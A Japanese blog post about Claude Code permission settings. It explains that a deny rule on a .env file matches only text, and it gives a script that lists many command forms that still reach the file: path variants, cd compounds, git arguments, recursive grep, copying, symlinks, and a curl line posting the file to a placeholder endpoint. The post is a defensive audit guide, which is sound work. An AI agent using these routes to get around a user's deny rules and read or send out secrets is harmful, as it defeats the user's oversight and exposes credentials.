CLAUDE LABEN
CLI — Claude Code v2.1.261 が9月4日に出ました。全67変更のうち46件が修正で、CLI 側は入力処理とバックグラウンド実行の不具合が中心ですSKILLS — 新しい /skill-doctor が、読み込み済みスキルのうち未使用のものと、それぞれが毎ターン食っている文脈量を一覧にします。片づけの起点として素直に便利でしたCOST — 実運用環境の実測では、スキル一覧だけで毎ターン約13,800トークン。うち84件が一度も呼ばれておらず、同名プラグインの二重有効化による重複が全体の41%を占めていましたLIMIT — bashOutputMaxChars と taskOutputMaxChars が加わり、コマンド出力とバックグラウンド出力をファイル退避せずインラインで渡せる量を最大128K文字まで引き上げられますBREAKING — プロンプトの単語編集キーが Bash 準拠になり、keybindingFlavor は効かなくなりました。auto モードでは、図表レンダラURLへの埋め込みリンクがアップロード扱いになりますSAFEGUARDS — 9月1日に Enterprise Frontier Safeguards が発表されました。監視に使う活動データを Anthropic 側ではなく顧客が持つクラウドに置く設計で、追加課金はないとされていますCLI — Claude Code v2.1.261 が9月4日に出ました。全67変更のうち46件が修正で、CLI 側は入力処理とバックグラウンド実行の不具合が中心ですSKILLS — 新しい /skill-doctor が、読み込み済みスキルのうち未使用のものと、それぞれが毎ターン食っている文脈量を一覧にします。片づけの起点として素直に便利でしたCOST — 実運用環境の実測では、スキル一覧だけで毎ターン約13,800トークン。うち84件が一度も呼ばれておらず、同名プラグインの二重有効化による重複が全体の41%を占めていましたLIMIT — bashOutputMaxChars と taskOutputMaxChars が加わり、コマンド出力とバックグラウンド出力をファイル退避せずインラインで渡せる量を最大128K文字まで引き上げられますBREAKING — プロンプトの単語編集キーが Bash 準拠になり、keybindingFlavor は効かなくなりました。auto モードでは、図表レンダラURLへの埋め込みリンクがアップロード扱いになりますSAFEGUARDS — 9月1日に Enterprise Frontier Safeguards が発表されました。監視に使う活動データを Anthropic 側ではなく顧客が持つクラウドに置く設計で、追加課金はないとされています
記事一覧/Claude Code
Claude Code/2026-09-05中級

拒否ルールが見ていたのはファイル名で、そこへ届く経路ではありませんでした

deny に書いた 1 行が、同じファイルへ届く別の書き方を素通りさせていました。経路を機械的に並べて、版を上げた日に効きを確かめる小さな検査表の作り方をお伝えします。

Claude Code250権限設定2無人実行5セキュリティ20

無人で走らせているタスクのログを読み返していた夜のことです。設定の denyRead(./.env) と 1 行だけ書いてあるのを見て、ここは守れていると思っておりました。

その安心は、少し下の行に grep -r から始まるコマンドを見つけたところで途切れました。私がルールに書いていたのはファイルの名前で、そのファイルに届く経路ではなかったのです。

最初にお伝えしたいのは、拒否ルールの効きは、書いた瞬間ではなく試した瞬間にしか分からない、ということです。Claude Code の変更履歴を追っていると、この領域は版ごとに揺れています。v2.1.259 では Bash の拒否ルールの抜け道——オプション値として渡したファイル、git diffgit grep のファイル引数、cd DIR && cat FILE の複合コマンド——が塞がれ、続く v2.1.260 ではその強化の一部が差し戻されました(Claude Code CHANGELOG)。

同じ設定ファイルを置いたままでも、版を上げた日に効きが変わりうるということになります。ですから私は、ルールそのものより先に「確かめ方」を用意することにしました。

同じ 1 つのファイルに、何通りの書き方で届くのか

まず手を動かして数えました。.env を 1 つ置いた作業ディレクトリで、書き方の違う 5 つのパスが同じ実体を指すかどうかを、デバイス番号と inode で突き合わせます。

import os
 
cands = [
    ".env",
    "./.env",
    os.path.join(os.getcwd(), ".env"),
    "config/../.env",
    "secrets/../.env",
]
 
seen = {}
for c in cands:
    try:
        st = os.stat(c)
        seen.setdefault((st.st_dev, st.st_ino), []).append(c)
    except FileNotFoundError:
        print("miss", c)
 
for key, group in seen.items():
    print("same file ->", len(group), "spellings:", group)

手元の結果は 1 行だけでした。

same file -> 5 spellings: ['.env', './.env', '/tmp/dr/proj/.env', 'config/../.env', 'secrets/../.env']

secrets/ という無関係なディレクトリを経由しても、.. で戻れば同じファイルに届きます。ファイルシステムから見れば当たり前の話です。けれども文字列として書いたルールから見ると、この 5 つは別々の見た目をしています。

ここで気づいたのは、私が守ろうとしていた対象と、ルールが照合している対象が、そもそも違う次元にあったということでした。

経路の一覧を吐き出す小さなスクリプト

そこで、保護したいパスを渡すと「そのファイルに届くコマンドの形」を並べて表にするだけの道具を書きました。判定はしません。並べるだけです。

#!/usr/bin/env python3
"""Enumerate the command shapes that reach a protected file, and show which
of them your deny rule matches as plain text. Fill in `result` by hand."""
import argparse
import os
 
SHAPES = [
    ("direct",       "cat {p}"),
    ("dot-slash",    "cat ./{p}"),
    ("absolute",     'cat "$PWD/{p}"'),
    ("roundabout",   "cat {dir}/../{dirbase}/{base}"),
    ("cd-compound",  "cd {dir} && cat {base}"),
    ("option-value", "git blame --ignore-revs-file={p} ."),
    ("option-glued", "grep -f{p} ."),
    ("at-file",      "curl -d @{p} "$ENDPOINT""),
    ("git-pathspec", "git diff -- {p}"),
    ("git-grep",     "git grep -e token -- {p}"),
    ("recursive",    "grep -r token {dir}"),
    ("copy-out",     "cp -r {dir} /tmp/copy"),
    ("glob",         "cat {dir}/{stem}*"),
    ("symlink",      "ln -s {p} /tmp/link && cat /tmp/link"),
]
 
 
def fields(path):
    p = path[2:] if path.startswith("./") else path
    d = os.path.dirname(p)
    b = os.path.basename(p)
    stem = b.split(".", 2)[0] + "." + b.split(".", 2)[1] if b.count(".") >= 1 else b
    return {
        "p": p,
        "dir": d or ".",
        "dirbase": os.path.basename(d) if d else ".",
        "base": b,
        "stem": stem,
    }
 
 
def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("paths", nargs="+")
    ap.add_argument("--rule", action="append", default=[],
                    help="literal substring your deny rule matches on")
    a = ap.parse_args()
 
    print("path\tshape\tcommand\trule_text_hit\tresult")
    for path in a.paths:
        f = fields(path)
        for name, tpl in SHAPES:
            if name == "roundabout" and f["dir"] == ".":
                continue
            cmd = tpl.format(**f)
            hit = "yes" if any(r in cmd for r in a.rule) else "no"
            print(f"{f['p']}\t{name}\t{cmd}\t{hit}\t")
 
 
if __name__ == "__main__":
    main()

--rule には、自分の拒否ルールが実際に照合している文字列を渡します。ここでの rule_text_hit は「ルールの文字列がコマンドの中に現れるか」という素朴な検査でしかありません。Claude Code の内部判定を再現するものではなく、自分が書いた文字列がどこまで届いていないかを目で見るための列です。

最後の result 列は空のまま出力されます。ここは自分の環境で実際に試して、通ったのか止まったのかを手で書き込む欄です。自動で埋めないところに、この道具の役割があると考えております。

表を読むと、文字として届いていたのは一部だけでした

保護対象を 2 つ(.envconfig/.env.production)、ルールを素朴に 2 つ(cat .envcat ./.env)与えて走らせました。

$ python3 deny_route_matrix.py .env config/.env.production \
    --rule "cat .env" --rule "cat ./.env"

出力は 27 行になり、そのうち rule_text_hityes になったのは 5 行でした。残りの 22 行は、同じファイルに届くにもかかわらず、私の書いた文字列とは 1 文字も重なりません。

経路の形コマンドの例ルール文字列に当たるか
directcat .env当たります
absolutecat "$PWD/.env"当たりません
option-valuegit blame --ignore-revs-file=.env .当たりません
at-filecurl -d @.env "$ENDPOINT"当たりません
git-pathspecgit diff -- .env当たりません
recursivegrep -r token .当たりません
copy-outcp -r . /tmp/copy当たりません
symlinkln -s .env /tmp/link && cat /tmp/link当たりません

なかでも recursivecopy-out は、ファイル名を一度も書かずに中身へ届く形です。ディレクトリを丸ごと相手にするコマンドは、私の頭の中の「.env を読む操作」という括りから完全に外れておりました。

もう一つ、正直に書いておきたい行があります。.envcd-compoundcd . && cat .env)は yes になりましたが、これは作業ディレクトリが . だったために、たまたま文字列 cat .env を含んだだけです。config/.env.production の側では cd config && cat .env.production となり、当たりません。当たった行を安心の材料にせず、なぜ当たったのかまで一度は見る、という読み方が要ると感じています。

ここで私が踏んだ失敗

最初に書いた版では、先頭の ./ を落とすつもりで path.lstrip("./") と書いておりました。動かしてみると、表の 1 列目が .env ではなく env になっています。

>>> ".env".lstrip("./")
'env'
>>> ".env".removeprefix("./")
'.env'

lstrip は前置きの文字列ではなく、指定した文字の集合を先頭から削り続けます。./ も集合に入っているので、.env の先頭のドットまで持っていかれたわけです。

生成された表は、それらしい見た目のまま、存在しないファイルの経路を並べていました。手元の目視で気づけたので事なきを得ましたが——検査する側の道具が静かに間違う、という形はいちばん厄介です。

この一件から、道具には「自分の入力をそのまま出す列」を必ず置くようにしました。1 列目に加工後のパスが出ていたからこそ、おかしいと分かったのです。

版を上げた日に 1 回だけ走らせる

運用としては、次の 3 つに落ち着いています。

  • 保護したいパスの一覧を 1 つのファイルにまとめ、リポジトリへ commit
  • そこから表を生成し、result 列は自分の環境で試しながら手入力
  • 埋めた表を日付と版番号つきで保存し、版を上げた日に前回との差分を確認

3 つ目が肝心なところです。表そのものより、前回の表との差が知りたい情報になります。同じ設定で result が変わっていれば、変わったのは自分の設定ではなく足元の実装だと分かります。

守るのはファイル名ではなく、そのファイルに届く経路です。 個人開発で無人のスケジュール実行を回していると、この違いを忘れた日に限って知らないコマンドの形が増えていきます。だから私は、ルールを増やす前に経路を数えるほうへ手を伸ばすようにしました。

権限まわりの設定の書き方そのものは Claude Code の設定ドキュメントにまとまっています。私がここで足したかったのは、書いたあとに確かめる側の仕組みでした。

まずは、いちばん見られたくないファイルを 1 つだけ選んで、この表を 1 回作ってみていただければと思います。27 行のうち何行が自分の想定の外にあったかは、たぶん手を動かした人だけが知る数字です。私自身、grep -r の行を見つけるまで気づけませんでした。お読みいただきありがとうございました。

シェア

お読みいただきありがとうございます

Claude Lab は広告なしで運営しており、サーバー費用などの運営コストはメンバーシップのご支援で賄っています。実装コード・ベンチマーク・本番設計パターンなど、実務でお役立ていただける記事を毎日更新しています。もし読んでよかったと感じていただけましたら、ぜひご覧ください。

  • コピー&ペーストで使える実装コード付き
  • 毎日新しい上級ガイドを追加
  • ¥580/月 または ¥2,480 の永久アクセス
メンバーシップを見る →

もしこの記事がお役に立ちましたら、チップ(¥150)で応援いただけると大変励みになります。広告なしでの運営を続けるため、皆さまのご支援が大きな力になっています。

関連記事

Claude Code2026-08-20
Claude Code で「今後確認しない」を押した範囲を棚卸しする
確認ダイアログで「今後確認しない」を選んだあと、自分が何を許可したのかを説明できるでしょうか。手元の設定を数えるスクリプトと、最小から足していく権限の組み立て方をまとめました。
Claude Code2026-08-21
Claude Code の read deny が許可フォルダの内側まで届いていなかった話
秘密ファイルとソースが同じツリーに同居する個人開発環境で、permissions.deny の Read ルールが実際にどのファイルまで届いているかを数え直した記録です。棚卸し用のスクリプトつき。
Claude Code2026-08-06
呼んだはずのスキルが何も返さない — 起動前に名前の解決順序を確定させる
端末の組み込みコマンドと同名のスキルは、非対話セッションで呼び出しが解決されないことがあります。実効名の表を起動前に作る preflight を書いて走らせ、検査器自身が取りこぼしていた2件までを実測で洗い出した記録です。
📚RECOMMENDED BOOKS
大規模言語モデル入門
山田育矢
LLM開発
生成AIプロンプトエンジニアリング入門
我妻幸長
プロンプト
Claude CodeによるAI駆動開発入門
平川知秀
AI駆動開発
※ アフィリエイトリンクを含みます
もっと見る →